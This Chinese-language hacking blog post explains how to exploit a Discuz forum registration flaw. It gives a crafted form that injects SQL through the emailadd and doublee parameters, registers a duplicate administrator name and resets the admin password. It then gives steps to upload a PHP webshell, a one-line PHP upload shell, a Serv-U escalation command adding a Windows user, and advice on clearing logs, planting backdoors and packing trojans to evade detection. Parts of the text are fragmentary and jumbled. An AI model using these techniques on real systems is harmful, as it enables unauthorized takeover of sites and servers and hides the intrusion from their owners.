DISCUZ漏洞與提升權限 |
這個漏洞是孟兄發現的,我在這裏感謝他!也感謝ANGEL的分析! $email = trim($email); 這裏是說如果不存在 $doublee 這個變量,並且判斷郵件地址格式正確,就 指定 $emailadd 這個變量爲 "OR email='$email'" ,爲後面的 SQL 語句做準備 。往下有一段代碼如下: $query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username='$username' $emailadd "); 默認 $emailadd = "OR email='$email'" 是滿足的,所以上面的 SQL 語句 就變成判斷用戶名和郵箱,有任意一個相同,就提示“該用戶名或 Email 地址已 經被註冊了,請返回重新填寫。” 利用的方法是給 $doublee 賦值,然後就可以饒過 $emailadd = "OR email='$email'" 這句,然後再自己構造 $emailadd 這個變量,這個就是我在本 地表單的 action 構造的原因。 <FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post"> 然後這個語句到了上面的 SQL 語句那裏,就變成: SELECT COUNT(*) FROM $table_members WHERE username='$username' and uid=100000 既然是同時用用戶名和用戶 ID 判斷,那麼這個肯定是不成立的了,就可以 順利跳過 if($db->result($query, 0)) { 直接到達這裏插入記錄: $db->query("INSERT INTO $table_members (........) VALUES (........)"); 也就註冊了相同的用戶名。然後再看看 memcp.php ,看到更新用戶資料的那 裏, SQL 語句居然是這樣。 UPDATE $table_members SET ...... WHERE username='$discuz_user' 直接修改你註冊的和管理員一樣的ID 的密碼,就達到了修改管理員的密碼的 目的。 好了讓我們看看最激動人心的時刻-- 具體利用方法 添寫到UP1.PHP,(UP1.PHP是本地寫的: method="post" target="_blank"> 回跳出你個提示頁面,如果是"提示信息 該用戶名或 Email 地址已經被註冊了,請返回重新填寫。 [ 點擊這裏返回上一頁 ] 非常感謝您的註冊,現在將以會員身份登錄論壇。 如果您的瀏覽器沒有自動跳轉,請點擊這裏 個人資料"項,修改密碼,然後重新登陸你就是管理員了,接下來就是提升權限,我們 登陸到後臺管理的地方http://xxxxxxxxx/discuz/admincp.php把你的密碼添上, 確定就進去了,節下了兩中方法傳個PHP的WEBSHELL上去,一,在上傳頭像處將你的 改成GIF擴展名的WEBSEHLL傳上去,然後到後臺管理,點數據管理->數據備份,將GIF 格式的WEBSHELL恢復爲.PHP格式,這樣一個WEBSHELL就有了在/forumdata/木馬名 字.PHP,我上傳的是ANGEL的PHPSPY.PHP不錯,功能多,速度也快,接下來的提升權限 我想菜鳥們都會把,在命令行下打NET START發現開了SERV-U 趕快上傳一個SERV-U 本地提升EXP工具到當前目錄,添加管理員 :serv-u "net user cookie 123 /add" 器開了3389,走運1!!趕快登陸3389登陸工具,可愛的桌面出來了,然後就是清掃日 志,放木馬,開後門,我覺的那個PHPSPY就是一個好的後門木馬,大家也可以自己用 別的好的木馬或者後門,上傳前記着加殼(保險嗎:) 升級項,在"請將數據庫升級語句粘貼在下面:"下面的文本編輯處寫上: `note`, `logo`) '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', ''); 個數據庫文件就是我們的一個上傳SHELL了,高興呀!然後本地寫個提交頁:UP1.PHP 馬.php" METHOD="POST"> |
DISCUZ漏洞與提升權限
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.